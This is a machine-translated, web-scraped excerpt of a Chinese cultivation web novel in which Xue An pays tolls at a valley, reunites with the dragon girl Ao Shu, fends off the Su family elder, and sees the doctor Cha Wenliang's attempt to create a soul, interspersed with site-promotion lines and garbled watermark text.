    "Then go!"


    "Ok!"


    After passing through the gate and entering the valley, there are huge fields of medicine in front of you.


    At this moment, there are many people working in the medicine field, and seeing them come in, these people are not the slightest strange.


    Yue Qinghuan couldn''t help but widened his eyes.


    "This Falling God Valley is really different. It was obviously not like this last time!"


    Xue An smiled and did not speak, but his eyes became brighter.


    After passing through the medicine field, a small pavilion appeared in front of him.


    The pavilion was built in the middle of the road, and a stone stele was erected next to it with a line written on it.


    "If you pass this kiosk, please stay and buy road money!"


    Then there was an arrow pointing to the water tank in the pavilion, followed by a line of small print.


    Just throw in here!


    The appearance of this pavilion stunned Su Fei and the others.


    Su Fei couldn''t help asking, "Elder, didn''t you say that this ghost needle doctor has a weird temperament and is not moved by power and wealth? What is going on?"


    The Great Elder was also a little dumbfounded.


    "In the rumor, Cha Wenliang is indeed such a person, I don''t know what''s going on!"


    At this time, Yue Qinghuan, who was behind, was also a little dumbfounded.


    "I obviously didn''t have these things when I came last time! And what does it mean to buy road money?"


    Xue An just smiled, then took out a high-grade spar from the space ring and threw it into the stone jar through Su Feijing and others.


    When there was a crisp sound, then I heard a pleasant voice.


    "Come in!"


    Xue An looked at Yue Qinghuan, who was in a petrochemical state, "That''s what I meant!"


    Then he walked forward.


    It wasn''t until the two of them had already walked through the pavilion that Su Fei was shocked. He immediately woke up and shouted.


    "Quick! Throw a spar into it!"


    Wow!


    More than a dozen spars fell into the stone tank, but there was no sound, but the pavilion moved aside a little.


    "Why didn''t we invite in after we invested in the spar?" Su Fei shouted in surprise.


    Of course, no one would respond to him. In anger, he had to lead the Su family to chase after him.


    But before walking for a while, a small pavilion appeared in front of him.


    The layout is similar to the small pavilion at the beginning, except that the font on the stone tablet has changed a little.


    "The second toll office, please pay the entrance fee!"


    "Entrance fee? Where the **** is the door?" Su Fei couldn''t help but vomit.


    The elder behind him couldn''t help saying: "Ahem, master, there is still a door, UU reading , look at that!"


    As he said, he pointed at the pavilion.


    I saw a small gap surrounded by two low fences.


    "Can this be considered a door?"


    Although vomiting, after learning the lesson from the last time, Su Fei was surprised and did not hesitate to pay the spirit crystal.


    "Welcome!"


    The "door" opened slowly.


    Su Fei walked in triumphantly, glancing at Xue An from the corner of his eye.


    But then the scene that made his eyelids throbbing ceaselessly happened.


    Because after the fence door was opened, Xue An didn''t pick out the spar at all, but walked in leisurely.


    "Why? Why can he walk in without paying?" Su Fei roared.


    Still no one answered, but Xue An gave a chuckle.


    This laughter sounded so harsh in Su Fei''s shocked ears, making him crazy.


    If it weren''t for the eagerness to see this ghost needle genius doctor now, he would really want to turn around and fight Xue An.


    Next, the group passed by four or five pavilions one after another. After paying various fees, a small cottage finally appeared in front of them.


    Yue Qinghuan lifted his spirits, "Xue An, the place in front of the genius doctor of Ghost Needle is now!"


    Su Feijing and the others naturally knew that the destination was just ahead, and immediately speeded up their pace and ran forward.


    But when there was still some distance from the Caolu, an invisible barrier blocked everyone.


    Then two golden characters appeared on it.


    "Pay the money!"


    The invincible chapters of "Invincible, Starting from Xianzun Dad" will continue to be updated on Xinshuhaige Novel.com. There are no advertisements in the site. Please also collect and recommend Xinshuhaige Novel.com!


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, Xinshuhaige novel net is updated fastest.

 Chapter 2318： Jiangshan Yi Chapter

    Chapter 2318 the world is easy to change, the dragon''s nature is hard to change (first more)


    "Fuck, why do you have to pay again? This ghost needle doctor is not a mad fortune!" Su Fei said almost madly in shock.


    You must know that they have passed through at least four or five toll booths along the way, and each toll booth has a different name.


    Su Fei''s eyes were opened by those refurbished names.


    I thought it was all right, but I didn''t expect to have to pay before Caolu, Su Fei was naturally surprised that it was difficult to accept.


    But at this point, he could only mutter a few words, and then obediently took out a dozen spirit crystals and placed them in front of the light curtain, waiting to open the door.


    It used to be the case. After paying the money, it was released.


    But this time it was different, because just after paying the spirit crystal, there was no change in the light curtain.


    "What''s the matter?" Su Fei''s eyes widened in surprise, astonished.


    At this moment, but seeing the golden light shining above the light curtain, two big characters turned out.


    "not enough!"


    Su Fei was shocked: "..."


    Then Su Fei was shocked again and went crazy again.


    "Not enough? So what is enough? Can you please give me something to say? Don''t waste time like this again and again?"


    It seemed that after hearing his words, the light curtain flickered again, and then a price list appeared.


    That''s right!


    It''s the price list.


    I saw it clearly and clearly written above.


    "Five thousand spiritual crystals can enter the light curtain, fifty thousand spiritual crystals can enter the grass house, 500,000 spiritual crystals can be diagnosed and treated by apprentice-level physicians, five million spiritual crystals can be diagnosed and treated by entry-level physicians, and fifty million spiritual crystals can be treated by expert physicians. Diagnosis and treatment..."


    By analogy, on the bottom line, the four characters of Guizheng Medical Doctor are written impressively, but the price at the back is a line of question marks.


    Looking at this golden price list, the Su family collectively fell into the petrochemical process.


    Then Su Fei was shocked and muttered softly with a dull expression: "Fuck, I''m afraid this is not crazy! Who would be okay with tens of millions of spirit crystals walking around?"


    In fact, for wealthy people like the Su family, tens of millions of spirit crystals are not impossible to take out, but no one will walk around with such a huge amount of wealth.


    Even if there is a space ring, it won''t work, because tens of millions of spirit crystals are not a small number, and they can even be higher than a hill when piled together.


    But as soon as Su Fei''s shocked voice fell, a line of small characters appeared on the light curtain.


    "Various treasures can also be converted into spirit crystals, and the quantity is calculated at a 20% discount!"


    Su Fei''s mouth twitched a few times, and then whispered to the elder on the side: "Are you sure this ghost needle doctor is really crazy?"


    The great elder smiled bitterly and shook his head, "I don''t know either!"


    However, Su Fei was shocked and quickly became energetic.


    Because he suddenly thought of something, since the entry fee is so high, then Xue An and Yue Qinghuan can''t afford it.


    In fact, if they hadn''t come prepared, they might also be blocked from this light curtain.


    At this point, he couldn''t help turning his anger into joy, and then he turned his head and looked at Xue An quite triumphantly, wanting to see the look on their faces.


    As a result, he found that Xue An did not have the slightest frustration on his face, but looked at the text on the light curtain with a smile, as if thinking about something.


    This couldn''t help making him slightly surprised for a moment, but he was relieved.


    It is estimated that you have been frightened by this astronomical number of spirit crystals!


    Thinking of this, he smiled and ordered: "As long as there is a price, take out the prepared things!"


    "Yes!"


    The great elder stepped forward, cherished and took out a jade slip from his arms, and then began to press the number on it.


    Each time you press it, the runes on the jade slip will flash.


    Soon, the jade was simply transformed into a brilliance, and then a jade box fell out of it.


    The great elder opened it cautiously, and inside was an aura of medicinal material.


    The specific shape of this medicinal material cannot be seen, because its whole body is covered by mist, and it can only be vaguely seen that its shape is constantly changing.


    As it changes, a refreshing fragrance spreads.


    Just smelling a bite will make you feel ecstatic.


    Su Fei said triumphantly: "This medicinal plant was obtained by my Su family from the wild land outside the sky in a very accidental situation. Even the most knowledgeable pharmacist does not know its origin, but it is The majestic aura contained in it is enough to move one''s face, and today it was specially brought to the genius doctor to see it!"


    Although this was spoken to the light curtain, the ostentation in it was almost overflowing.


    Yue Qinghuan was slightly discolored.


    Because she didn''t know what to do next.


    Tens of millions of spirit crystals can''t be taken out by themselves, is it just going back home like this?


    Looking at Xue An''s appearance, it seems that he is not ready to leave!


    Just as she was in a state of confusion, Su Fei was surprised to personally put the medicinal plant in front of the light curtain.


    The light curtain swallowed this medicinal plant directly, and the brilliance on the back light curtain began to flicker, and a line of words appeared on it in a moment.


    "The Celestial Immortal Grass can be worth 82.1 million spiritual crystals!"


    With the appearance of this number, an entrance slowly appeared on the light curtain, and a voice came.


    "Come in!"


    Su Fei was surprised but did not walk in in a hurry, but turned his head to look at Yue Qinghuan with a smug face.


    "Girl soldier, you have also seen that if you want to see the ghost doctor, you have to draw out a huge amount of wealth. I guess he can''t get it out. Would you like to go in with me to see the doctor? Maybe I can do it for you again. Give some money and invite the genius doctor back!"


    Su Fei''s startled words were full of temptation.


    However, Yue Qinghuan was not moved at all. At this moment, she had put aside all unrealistic hopes, and said lightly.


    "Thank you for your kindness, but you don''t have to. Since there is no chance to see you, then we will go back!"


    Then she said to Xue An: "Let''s go!"


    Said and turned to leave.


    But Xue An didn''t move. UU read and chuckled, "Go? Why are you going?"


    "Huh?" Yue Qinghuan blinked his eyes, a little unclear.


    Su Fei, who was horribly rejected, couldn''t help but sneered, "Why don''t you leave? Can you take out 50 million spirit crystals?"


    Xue An shook his head, "Of course not!"


    "Then it''s over, if you can''t afford it, why are you standing here?" Su Fei mocked.


    Xue An was not angry, but smiled and said: "Who said that you have to pay for it?"


    Su Fei was shocked and laughed, "Otherwise? Don''t you want to break in?"


    Xue An ignored his cynicism, but looked up at the light curtain, and said with a smile: "Some people say that the nature of the country is easy to change, but the dragon is the same!"


    "Even in this outer world, can''t you change your greed for money? Right? Sister Ao Shu!"


    (End of this chapter)

 Chapter 2319： The ultimate form of "scumbag"

    Chapter 2319 the ultimate form of "Scumbag" (second more)


    When it came to the last four characters, Xue An''s vigor suddenly boiled, and the voice directly passed through the light curtain into the grass house.


    The surroundings instantly quieted down.


    But soon Su Fei laughed wildly in surprise, "What mess, also sister Ao Shu, why don''t you..."


    Before he could finish speaking the following words, he heard a voice of surprise from the light curtain.


    "Brother Ang?"


    Following the voice, I saw a figure rushing out of the grass cottage at a speed that was almost windy.


    With a click.


    The light curtain shattered at the sound, and then the figure rushed directly into Xue An''s arms, with such strength that it even knocked Xue An back a few steps back.


    Even so, this person still clung to Xue An and refused to let go, and at the same time buried his head in Xue An''s arms, and began to cry.


    "Brother Ang, it''s really you! Am I dreaming?"


    Su Fei was shocked.


    Yue Qinghuan was also stupid.


    Because the person who rushed into Xue An''s arms was a young girl.


    But seeing her in a lavender dress, although her head was buried in Xue An''s arms, she couldn''t see it, but from the slender figure and white skin, she was definitely a stunning woman.


    At this moment, Xue An patted the girl''s back slightly stiffly, and whispered: "Okay, don''t cry, you are not dreaming, it is indeed I am here."


    The girl slowly raised her head, revealing a beautiful and refined face.


    That''s right!


    It was Ao Shu who disappeared into the heavens before!


    And when he saw her face, this Su Fei was startled again.


    "Fuck, what the **** is going on? How come this man can have such a beautiful girl like this anywhere?"


    When he said this, his eyes were full of envy and jealousy.


    Yue Qinghuan was surprised and puzzled, but soon these expressions turned into a smile, and then looked at Xue An meaningfully.


    At this time, Ao Shu was almost crazy with joy.


    I saw her chattering and saying: "Brother Ang, I really didn''t expect you to come. If I knew you were here, I would have come out! Are you here to find me specifically, right? I knew it must be like this. , You still like me, I am so happy! By the way, how did you know that I am here..."


    Faced with this tide of questioning, Xue An coughed awkwardly and interrupted Ao Shu''s words.


    "I actually didn''t come here specifically to look for you this time, because I didn''t know you were here before I came..." Xue An explained with difficulty.


    Ao Shu was silent, staring at Xue An with big eyes blankly, and the tears inside made Xue An feel a strong sense of guilt.


    Okay, that''s it! Abandon this scumbag, it''s best to get rid of him! Su Fei screamed frantically in his startled heart.


    But the next second, an unexpected scene happened.


    Seeing Ao Shu suddenly smiled, ignoring the tears, just smiled.


    "Brother Ang, you are still so honest, can''t tell a lie to make me happy?"


    Xue An shook his head, "Sorry, I..."


    "Don''t say sorry!" Ao Shu suddenly stopped Xue An''s words, and then said very seriously: "The brother An in my mind is an upright man, how can I say sorry? It should be me to say it. , I blamed me for not letting Brother Ang know that I was here!"


    "If Brother Ang knows that I am here, he will definitely come to me, right?"


    Facing Ao Shu''s hopeful gaze, Xue An nodded seriously, "Of course!"


    Ao Shu smiled.


    With a smile on his face, he suddenly stood on tiptoe and kissed Xue An on the cheek, "I knew it was so, Brother An, you are so kind!"


    And this scene almost made Su Fei''s eyes on the side almost fall out.


    What the **** can you play like this?


    What is so special about this kid? Apart from being handsome, there is nothing great?


    How can such a stunning girl be so dedicated?


    Is this the highest state of a scumbag?


    But the next sentence completely subverted Su Fei''s three views.


    Ao Shu looked around, then asked Xue An strangely.


    "Brother Ang, where are your sister-in-law and your two daughters?"


    Sister-in-law and daughter?


    Su Fei''s eyes widened in surprise.


    Xue An smiled faintly, "They are all in the Fubao Xiaolou! You will see them later!"


    "Hmm!" Ao Shu nodded, then said sadly.


    "Before I blamed me for being capricious. I couldn''t accept that Brother Ang had a daughter, and even left with anger. Now I finally figured out. Actually, Brother Ang is so powerful, it��s most normal to have a lover and a daughter. I shouldn��t mind before. These are all my fault, Brother Ang, don''t be angry..."


    These words calmed the audience, and Su Fei looked silly with surprise.


    There was only one thought floating in his mind.


    Fuck cow X!


    Even Yue Qinghuan opened his eyes slightly, and then looked at Xue An in amazement.


    At this moment, Xue An was a little bit ridiculous by Ao Shu''s words.


    "Okay, okay, don''t say anything silly, how can I be angry!"


    "Yeah! It''s fine if you are not angry, Brother Ang, then can I secretly like you like I did before?"


    Ao Shu looked at Xue An with bright eyes.


    Xue An nodded helplessly, "Do whatever you want!"


    "Thank you Brother An!" Ao Shu cheered for joy, then grabbed Xue An''s hand and walked to the cottage.


    "Brother Ang, you must be here to see my master, I will take you to see him now!"


    Su Fei was completely convinced!


    Really!


    He didn''t even have any idea of ??not being in the limelight with Xue An.


    Because until now, he didn''t know that he and Xue An''s rank difference was so much.


    Once upon a time, he thought he was already good enough. Because of his family and cultivation, many women have always admired him, but he hasn''t been moved at all. For this reason, I don��t know how many women have been injured. heart of.


    But it was not until now that he realized that compared with Xue An, he was nothing more than a shame.


    This **** is the ultimate form of a scumbag!


    Not to mention that he already has a wife and daughter, and let such a stunning girl remember her, even humble to the point of incredible.


    What the **** is this!


    This is a man''s dream!


    The ultimate dream of the red flag at home, the colorful flags fluttering outside!


    Su Fei was shocked to respect Xue An for a while.


    But when he saw that the two of them were about to enter the light curtain, he realized what the purpose of today''s trip was, and hurriedly took a step forward, with a smile on his face.


    "Girl, please stay!"


    (End of this chapter)

 Chapter 2320： Thicker than this

    "What''s the matter?" Ao Shu frowned.


    "I am Su Fei, the son of the Su family. I came here to see the genius doctor. I just offered the Immortal Grass outside the sky. I don''t know..."


    "Oh, you said this, give it back to you!" Ao Shu threw the fairy grass out casually.


    "My master has no time to see other people now, please go back!"


    Speaking, Ao Shu dragged Xue An and walked inside.


    Su Fei caught the immortal grass in shock, his eyelids beating vigorously, but still forced a smile: "If there is no time to see other people, then why can this dear fellow go in?"


    "He is my brother An, so I can come in naturally! As for you, it''s different." Ao Shu said naturally.


    Su Fei was shocked and felt his blood surge.


    Damn, even though he knew that this guy was amazing, he was still very upset by being so ignored by a young girl!


    At this moment, the great elder stepped forward and smiled: "This girl, why don''t you take us in. If the genius doctor refuses to see us, we will have nothing to say. Turn around and leave. What do you think?"


    But Ao Shu was already a little impatient, "Oh, why are you so annoying? Tell you the truth, my master is currently conducting an extremely important research, and I really hate other people''s interruptions, so don''t want to see him!"


    This time Ao Shu ignored these people, but led Xue An straight into it.


    Everyone in the Su family was furious.


    You must know that they are very noble hidden world giants, and have never been ignored by this class, so the great elder snorted coldly.


    "Little girl, being so thick and thin is not the way of hospitality!"


    When he said that he took a step forward with an unmoving expression, which happened to block Ao Shu''s path.


    Not only that, but the rest of the Su family also stepped forward to block the road, looking at Ao Shu and Xue An with unkind eyes.


    "Why? Want to use martial arts?" Ao Shu''s face sank and said coldly.


    "Of course not, I just want to see a genius doctor, and ask the girl to do it!" The elder said indifferently. Bxwx.Co ��


    "But what if I don''t?" Ao Shu also had a temper at this time.


    As the third princess of the Long Family, she was spoiled and spoiled since she was a child, so she had never been threatened.


    "Hehe, no one can refuse Su''s request!"


    With that, this great elder burst out with a very powerful aura, surging towards Ao Shu. Sacrifice as 75zhongwen.com Sacrifice as


    But I hadn''t waited until Ao Shu approached, but seeing Xue An step forward, he happened to block Ao Shu behind him, and at the same time whispered: "Then what if I refuse?"


    When the words are over, this majestic momentum disappears instantly.


    The big elder''s pupils shrank suddenly, and a look of horror flashed across his face.


    Because he really didn''t expect that this young man, who was no more than Xianzun, could dissolve his power in such an understatement.


    But soon he returned to normal, and then sneered, "It''s interesting, but unfortunately it''s too far behind me!"


    With the voice, but seeing the great elder raise his hand, a huge sharp claw suddenly appeared, and it slashed towards Xue An.


    Wherever he went, even the space was shaken out of cracks.


    Obviously this great elder had already murdered Xue An.


    But when he thought that Xue An was definitely going to die, he saw Xue An suddenly raised his head, flipped his wrist, and revealed a small red sword, and then stabbed in the sky.


    The two fought together, but there was no abnormal sound.


    The small sword in Xue An''s hand seemed to pierce a piece of tofu, easily piercing the claws of the great elder.


    The elder snorted, involuntarily stepped back two steps, and then looked at the small sword in Xue An''s hand with great horror.


    "Where did you get this sword?" the elder hissed in surprise.


    Xue An said lightly: "A gift from a friend!"


    "You''re talking nonsense, this is obviously Shen Jia Jianxin, how could it be a gift from a friend?" The grand elder''s face can no longer be described as ugly.


    Su Fei was surprised at this time and saw the clues, and Huo Sui was surprised in his heart, and the look in Xue An''s eyes became even more weird.


    Because only he understood why the great elder had changed so much.


    That''s the Shen family!


    Especially the sword in this man''s hand is still condensed from the extremely pristine sword heart, which shows that this person must have a very high blood status in the Shen family.


    If this is the case, then this matter is a big deal!


    "Is it a gift from a friend, do I have to explain it to you?" Xue An sneered.


    The elder''s complexion changed, and after a while he gritted his teeth severely, "Of course there is no need to explain, but boy, I advise you to think things through, because soon someone will ask you to explain, Master, we go!"


    After that, he stopped staying, and left with Su Fei in a hurry.


    In the blink of an eye, this group of people walked away clean.


    Ao Shu looked strangely at the backs of these people, and then asked, "Brother Ang, does this sword in your hand have any special origin? Why do these people change their appearance when they see it? "


    "I don''t know, but this is indeed a gift from a friend of mine. No matter who comes, I will say so!" Xue An said lightly.


    "Yeah, UU reading I believe you, let''s go in!"


    Having said that, Ao Shu led Xue An to the Caolu.


    Naturally, Yue Qinghuan would not be boring to himself, so he followed behind without even saying a word.


    Along the way, this Ao Shu was chattering non-stop, jumping like a child.


    Xue An listened with a smile, until she was almost done, she asked softly: "Why did you come here and become a disciple of the ghost doctor?"


    Ao Shu sighed when he heard the words, "Back when I escaped from my house, I didn''t know where I was going, so I wandered all the way, but by chance, I met the master who went into the heavens to gather medicinal materials!"


    "At that time, I was heartbroken and thought of committing suicide. Originally, based on the character of the master, even if I died in front of him, he would not look at me more, but he didn''t know what was wrong at that time, so he took action. Saved me, brought me here, and accepted me as a disciple."


    Xue An nodded, and then asked: "Did you just say that your master is conducting an extremely important research?"


    "correct!"


    "What research?"


    "Here, you''ll know if you go in and take a look!" Mi He Mi


    At this time, their group had already arrived before the Caolu.


    Only when it was close to the front could it be seen that although this grassy cottage was simple in shape, it was actually well-made, and even the placement of plants and trees was very particular.


    And standing in front of the Caolu door, you can smell the pungent medicinal smell coming from inside.


    Ao Shu made a silent gesture, and whispered: "My master is making medicine in the backyard again. It seems that he has failed again, so he must be in a very bad mood now. Don''t speak loudly, otherwise he is fierce. It''s amazing!"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2321： The elixir to bring back the dead

    Xue An nodded with a smile.


    To be honest, he was also very curious about the well-known Ghost Needle genius doctor, so he followed Ao Shu and walked in.


    After crossing a long corridor, the three of them came to the backyard.


    The first feeling of entering the goal is chaos.


    That kind of chaos completely.


    However, I saw medicinal vessels arranged in a mess, and some medicinal materials even had spirituality, constantly evolving illusions.


    But no matter how precious the medicinal materials were, they were thrown on the ground like grass mustard, and some of them were even covered with messy footprints.


    Ao Shu explained in a low voice: "I wanted to tidy up here before, but Master strictly forbids me to touch the vegetation here. In his words, everything here is regular. If I tidy up, he will instead. I won��t find it!"


    Xue An smiled without saying a word, but cast his eyes on the spot in the middle of the backyard.


    I saw a high platform standing there, and a huge alchemy furnace stood impressively on the high platform.


    At this moment, there were flames of various colors burning in the four directions of the pill furnace, and a curl of green smoke was floating above the pill furnace.


    And beside the pill furnace, there was an unkempt man watching the fire with full concentration.


    If you only look at the appearance, you must not believe that this will be the genius doctor who is famous for more than half of the world.


    Because he is too sloppy and too inconspicuous.


    He was about to be covered with stains of various colors, and under the cyan shirt that was about to lose sight of the background, was a thin and withered body.


    But above this body is a huge head, and the proportions of this body are not in harmony.


    Not only that, but it''s hard to even see the existence of the five sense organs on this head.


    Because this Cha Wenliang didn''t know how long he hadn''t cleaned up his appearance, his beard was about to reach his chest.


    At this moment, he was turning around this pill furnace, muttering words, not knowing what he was talking about.


    Suddenly, the pill furnace began to tremble, and the smoke on it turned from blue to black.


    Seeing this scene, Cha Wenliang was shocked, and immediately shouted: "Imperial Vine, Phoenix Mercury Egg, Satin Bead!"


    Three Guanghua immediately flew from the ground and arrived in the palm of Cha Wenliang''s hand.


    Cha Wenliang moved extremely fast, and when he got the medicinal materials, he immediately shot a set of extremely complicated seals. The flames under the pill furnace flickered, and at the same time, a hole was slightly opened on the pill furnace.


    Cha Wenliang stretched out his hand and threw three herbs into it.


    Rumble!


    There was a loud noise like thunder from the furnace, and Guanghua was even more prosperous.


    Ao Shu''s face turned pale, and immediately pulled Xue An back.


    "Hurry up and stay away, be careful of this pill furnace..."


    Ao Shu just wanted to say that this pill furnace was exploded, and at this moment, he heard a loud noise like a thunderbolt.


    This pill furnace exploded in an instant, and countless fragments flew in all directions.


    When Xue An raised his hand, a sword light shielded Ao Shu and Yue Qinghuan behind him, but his eyes never left the high platform far away.


    The power of this explosion is so great, then Cha Wenliang is the nearest one, nothing will happen, right?


    Xue An couldn''t help but think of this question in his heart.


    But at this moment, I only heard an angry roar coming from the smoke.


    "Fuck, it failed again!"


    With the voice, the smoke dissipated, and looking at Cha Wenliang at this time, he was still the same as before, except for his clothes a little more torn, there was almost no change.


    He turned around the original pill furnace a few times in frustration, and Huo Ran raised his eyes to look at Xue An in the distance.


    "Who are you? When did you come?"


    It turned out that Cha Wenliang didn''t notice the arrival of Xue An and others until this time.


    Hearing his question, Ao Shu hurriedly stepped forward.


    "Master, this is the brother An I mentioned before!"


    "Xue An? You are Chinese Xue An?" Cha Wenliang was taken aback.


    "Do you know me?" Xue An was also a little surprised.


    Zha Wenliang shook his head, "I don''t know, but this dead girl talks about you all day long, and I don''t want to remember it! Why? Come here to abduct this dead girl? I tell you, that''s impossible! "


    At the end, Cha Wenliang was angry again.


    At this time, Xue An discovered the strangeness of Cha Wenliang.


    Because he seems to be easily immersed in his own world and unable to extricate himself. For example, now, when he speaks, he really thinks that he is here to abduct Ao Shu, and the whole process does not listen to other people''s explanation.


    At this time, Cha Wenliang saw Xue An not speaking, and he couldn''t help but become angry, and turned his head to look at Ao Shu.


    "What am I talking about? This guy is a liar who plays with emotions. He obviously has a family and he wants to tease you. Have you forgotten what you were like when he was harmed?"


    Hearing what Cha Wenliang said, Ao Shu blushed, but still refused to bow his head.


    "Master, you have misunderstood. Brother Ang is not that kind of person. I was ignorant at the beginning..."


    "It''s all like this, you still have to speak for him? You...you..."


    Cha Wenliang was so angry that he turned around on the stage, suddenly bent over, picked up a fragment of the pill furnace, and threw it towards Ao Shu.


    The sound of the fragments hitting the air went straight to Ao Shu, but Ao Shu didn''t even hide.


    Because she knows that if she hides, Master will definitely be even more angry.


    It''s nothing more than smashing the head and breaking the blood. Anyway, he is a dragon and doesn''t get in the way.


    She thought about it in her mind.


    But at this moment, Xue An stretched out his hand, grabbed the thrown fragment directly, put it on the end of his nose and sniffed, then raised his eyebrows slightly.


    "Are you refining the pill to bring back the dead?"


    As soon as he said this, Cha Wenliang, who was originally furious, instantly calmed down, and a pair of eyes burst out with breathtaking light.


    "how do you know?"


    "It''s very simple. From the smell of the liquid medicine remaining on this fragment, it can be inferred that the UU Reading Book contains Sky Crystal Bone and Earth Sacred Bud. The greatest effect of these two extremely cherished medicinal materials is that they can make flesh and bones. Lifting the skin, plus the three medicinal materials you added later, the medicinal properties of these two complement each other, so I guess you are refining the pill to revive the dead!"


    Sacrifice such as miaoshuyuan.com sacrifice such as. Xue An talked freely, while the light in Cha Wenliang''s eyes flickered endlessly.


    Until he finished speaking, Cha Wenliang said in a deep voice, "You still know the way of alchemy?"


    �� minus bxwx.*Co��. "Understand a little bit!"


    Ao Shu was dizzy to hear. She had studied with Cha Wenliang for so long, but she hadn''t even remembered the names of the medicinal materials, so naturally she couldn''t understand Xue An''s words.


    But this does not prevent her from admiring Xue An.


    Brother Ang looks so handsome now!


    Ao Shu looked at Xue An with bright eyes, and said silently in his heart.


    Even Yue Qinghuan was quite surprised, how many surprises are still hidden in Xue An''s body!


    Mi He Mi. At this moment, Cha Wenliang sneered.


    "I really know a little bit, because you really think I''m just refining the pill to bring back the dead?"


    "Is not it?"


    "Hehe, you too look down on my ghost doctor, how can the medicinal pill that came back to life make me fail again and again?"


    I like Invincible, and please collect it from Dad of Xianzun.

 Chapter 2322： Make soul

    "Oh? Since you are not refining the pill to bring the dead back to life, what are you refining?" Xue An asked with a smile.


    Cha Wenliang raised his head proudly, "I am conducting an extremely great research. If it succeeds, it can subvert the entire universe!"


    "Can I see it? I also want to know what kind of research is enough to subvert the entire universe!" Xue Ankan talked.


    Ao Shu behind him squeezed a cold sweat for him.


    Because she knew her master''s temper too well, she might get angry if she said something wrong to him.


    Unexpectedly, in the face of Xue An��s questioning, Cha Wenliang did not get angry, but said with interest: "You really want to know?"


    "of course!"


    "Well, come with me!" Xiru kanzagyi.cc Xiru


    Cha Wenliang happily stepped off the platform and walked back.


    Ao Shu was a little stupid.


    Xue An smiled at her, "Let''s go! Let''s take a look at your teacher''s great research."


    With that, Xue An took a step and followed.


    Ao Shu looked at Xue An''s back suspiciously.


    She didn''t understand why the always grotesque and moody Master suddenly became so talkative when facing Xue An.


    Only Xue An knew why.


    In fact, although Cha Wenliang had a weird temper, he was a very simple person.


    As long as you understand his temper and follow his meaning, it is easy to get along with him.


    of course.


    The premise of all this is that you can understand him and understand his mind.


    It happened that Xue An was able to do this, so he managed to scratch Cha Wenliang''s itch in a few sentences.


    A group of people followed Cha Wenliang to a corner of the backyard. There was a house standing there, and it looked nothing strange from the outside.


    Cha Wenliang walked to the door triumphantly, "Today I will let you see what is truly great research."


    With that said, he stretched out his hand and opened the door.


    The whole process did not show any brilliance. It can be seen that this door is an ordinary wooden door, and even the simplest defensive runes have not been blessed.


    Including Ao Shu, everyone''s eyes instantly turned to the room behind the door.


    Unexpectedly, the room was empty, and there was nothing strange.


    This is the so-called great research that Zha Wenliang is proud of?


    Just as everyone was puzzled, suddenly, they saw a curl of green smoke floating in the room.


    These green smoke quickly condensed and turned into a fat monster in the blink of an eye.


    "Wow, so cute!" Ao Shu couldn''t help saying.


    Because this monster is huge, but a head occupies 90% of the body, and on the head are slightly funny facial features, which makes it look very cute.


    But after seeing this monster, Zha Wenliang''s eyes were full of pride, "Come here!"


    Hearing his order, the monster wafted up to Cha Wenliang and said two words vaguely.


    "Master!"


    Cha Wenliang nodded contentedly, then turned to look at Xue An.


    "Can you see any clues?"


    Xue An frowned slightly, stared at the monster for a moment, suddenly raised his head, and said in a deep cold tone: "Are you making a soul?"


    As soon as this statement came out, Yue Qinghuan was also very displeased.


    Cha Wenliang laughed, "Good eyesight, that''s right! I''m really making a soul, and it is my most successful experiment so far!"


    "How? Is this the greatest study?" Cha Wen Liangzhi said triumphantly.


    But this time, the only response to him was silence.


    Because Xue An also fell into a deep shock.


    You must know that the soul is the most mysterious and mysterious place, although there are many things that can sprout spiritual wisdom as long as they grow old, such as the ginseng doll Aqi I met when I entered the valley before.


    But this kind of naturally sprouted intelligence is completely incomparable with the human soul.


    This has also led to an increase in the difficulty of their cultivation hundreds or thousands of times, while the human race proudly declares that they are the longest of all souls.


    From ancient times to the present, it is not that there have been people with amazing talents trying to unlock the secrets of the soul, but without exception, they have all failed.


    And they all suffered extremely violent backlash, and the end was very miserable.


    So that all the doctrines that involve the soul have become an absolute taboo, and no one dares to get involved.


    Unexpectedly, this Cha Wenliang would be so courageous, not only to study souls, but even boldly trying to make souls, but also successfully made a test product.


    This will definitely cause an uproar if it goes out.


    Seeing everyone''s reaction, especially Xue An''s silence, Cha Wenliang sneered. Minus bxwx.CO ��


    "Why? Scared? What you said just now made me think you should not be a vulgar person, but now it seems that it is nothing more than that!"


    As he said, he turned around disappointed and said coldly: "Get out! You are no longer welcome here!"


    It took only a few seconds from the initial excitement to the face change, which is evident from this Cha''s gentle mood.


    But Xue An did not leave, not only did not leave, but also walked a few steps forward, and came to the test object.


    "Why don''t you leave, UU reading www.uuk��nshu.com has to let me order to evict guests?" Cha Wenliang shouted coldly.


    Xue An laughed, "You seem to be only the size of a three-year-old child!"


    "So what? At least it was made by me a little bit. Having a sense of wisdom has proved that I chose the right direction, but I still lack skills!" Cha Wenliang said coldly.


    "Then how long have you been stuck here?" Xue An asked again.


    This time Cha Wenliang''s complexion became a little awkward, "Well... it''s been ten years!"


    But later he explained without giving up, "But I have made a big breakthrough recently, and it is estimated that I will succeed soon!"


    "Breakthrough? Are you talking about the pill furnace that just exploded?" Xue An said with a faint smile.


    As soon as this remark came out, Ao Shu felt a little in his heart.


    broken!


    With the master''s temper, how could it be possible to stand Xue An''s tone.


    really.


    Seeing that Cha Wenliang''s complexion changed wildly, a murderous intent rose in his eyes.


    "Are you taunting me?"


    Xue An was not moved at all, as if the power that was coming over his face was just a breeze, and said lightly: "Of course not, I''m just telling a fact!"


    "The surname is Xue, before I change my mind, get out quickly, otherwise I will let you survive and die!" Cha Wenliang said gloomily.


    Xue An laughed, and suddenly said, "Don''t be so anxious to rush me away. I will leave naturally after I have asked a few questions. First of all..."


    Xue An''s eyes are full of glory, "What is the meaning of your soul making?" Mi He Mi


    "Why should I answer you?" Cha Wenliang sneered.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2323： The Great Journey of the Slippery World

    "You will definitely answer, because all your persistence must be personally appreciated, and I...is that person!" Xue An said lightly.


    These words made Cha Wenliang''s complexion change, as if he had seen Xue An for the first time, he took a deep look at him, and then slowly said.


    "It''s very simple. I have already figured out all the physical problems. It can be said that even if there is a bone in front of me now, as long as its soul is still there, I can save him!"


    "Do you understand this feeling? Everything is no longer fresh. What you do every day repeats the past. The dull and dullness is enough to make you crazy."


